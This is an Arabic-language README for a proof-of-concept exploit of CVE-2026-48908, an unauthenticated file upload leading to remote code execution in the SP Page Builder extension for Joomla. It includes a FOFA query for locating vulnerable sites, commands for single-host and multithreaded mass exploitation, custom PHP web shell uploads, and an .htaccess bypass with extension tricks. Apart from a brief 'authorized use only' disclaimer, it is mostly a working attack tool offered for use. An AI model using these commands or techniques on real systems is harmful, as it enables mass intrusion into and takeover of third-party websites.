CVE-2026-48908 — تنفيذ الأوامر عن بعد بدون مصادقة في SP Page Builder

SP Page Builder (com_sppagebuilder) لجوملا ≤ 6.6.1 يُتيح للمهاجمين غير المصادق عليهم رفع ملفات عشوائية وتحقيق تنفيذ الأوامر عن بعد.

استعلام FOFA

body="com_sppagebuilder"

الاستخدام

المتطلبات

• Python 3.8+

pip install -r requirements.txt

مضيف واحد

python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # فحص فقط، بدون أمر
python3 exploit_poc.py https://target.example --token abc123   # رمز مخصص

مسح جماعي

python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 خيطًا متوازيًا
python3 exploit_poc.py --hosts ips.txt --no-verbose             # وضع هادئ

شل مخصصة

python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

ملاحظة: عند استخدام --shell-file، يقوم البرنامج النصي فقط برفع الشل ويُبلغ عن الرابط. لا يقوم بتشغيل الأمر -c أو إجراء أي اختبار تنفيذ. يجب أن تتعامل الشل المرفوعة مع إدخال الأوامر بشكل مستقل.

الخيارات

عرض توضيحي

مسح جماعي

المخرجات

بعد المسح، يتم حفظ ثلاثة ملفات نتائج:

كيف يعمل

يستغل الثغرة مهمة asset.uploadCustomIcon في com_sppagebuilder:

1. إرسال طلب POST بحزمة ZIP مفبركة (حزمة أيقونات الخطوط) بدون مصادقة — لا حاجة لرمز CSRF.
2. يقوم SPPB بفك ضغط ZIP إلى /media/com_sppagebuilder/assets/iconfont/<name>/fonts/.
3. يتم تقديم ملف PHP المرفوع بشكل عام.

يحاول البرنامج النصي عدة امتدادات PHP (.php، .PHP، .pHp، .Php، .pht، .phtml، إلخ) حتى يجد امتدادًا ينفذ.

تجاوز htaccess

عندما يتم حظر امتدادات PHP المباشرة بواسطة مرشح SPPB، يقوم البرنامج النصي بوضع ملف .htaccess بجانب الحمولة:

AddType application/x-httpd-php .PHP

يجبر ذلك خادم الويب على معاملة .PHP (بحروف كبيرة) كملف PHP — متجاوزًا قائمة الحظر الحساسة لحالة الأحرف في SPPB. يتطلب تمكين AllowOverride والسماح بتنفيذ PHP في /media.

ملاحظة: قد لا يعمل تجاوز .htaccess + .PHP الكبيرة في جميع التهيئات. إذا فشل، جرب استخدام امتدادات .png أو .jpeg بدلاً من ذلك. على الخوادم التي تم تعطيل AllowOverride فيها أو حظر تنفيذ PHP في /media، حتى الشل المرفوعة لن يتم تنفيذها (يتم الإبلاغ عنها كـ "للقراءة فقط").

التعديلات

يعتمد هذا الإثبات على https://github.com/papageo75/CVE-2026-48908-PoC/ مع الإضافات التالية:

1. معالجة الاستجابات غير JSON

قد تحتوي بعض استجابات الخادم على بادئات غير JSON (مثل تعبيرات cron أو بيانات غير مرغوب فيها أخرى) قبل الحمولة الفعلية لـ JSON. كان الإثبات الأصلي يتعطل عند استدعاء r.json() أثناء تحليل هذه الاستجابات. يقوم هذا الإصدار بالمسح عن أول حرف { ويحاول فك تشفير السلسلة النصية JSON جزئيًا:

قبل:

try:
    data = r.json()
except ValueError:
    return None

بعد:

try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

مثال — استجابة JSON صالحة:

{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

مثال — استجابة غير JSON (بيانات غير مرغوب فيها قبل JSON):

cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. دعم المسح الجماعي

تمت إضافة إمكانية المسح الجماعي متعدد الخيوط:

• --hosts <file> — تحميل الأهداف من ملف (مضيف واحد لكل سطر)
• -j, --threads <n> — تعيين عدد الخيوط المتوازية (الافتراضي: 10)
• --no-verbose — إخفاء الإخراج المفصل لكل مضيف
• يتم تجميع النتائج وحفظها في ملفات .txt مصنفة

3. رفع شل مخصصة

تمت إضافة خيار --shell-file <path> لرفع شل PHP مخصصة بدلاً من الشل المدمجة المحمية برمز. عند استخدام هذا الخيار:

• يقوم البرنامج النصي برفع الشل دون تشغيل أوامر -c
• لا يتم إجراء اختبار تنفيذ (run())
• يتم اختبار جميع الامتدادات العاملة والإبلاغ عنها
• يتم حفظ النتائج في custom_shell_hosts.txt

إخلاء مسؤولية

للاستخدام المصرح به فقط. لاختبارات الاختراق المعتمدة ومسابقات CTF والأهداف المختبرية فقط. أنت وحدك المسؤول عن كيفية استخدام هذه الأداة.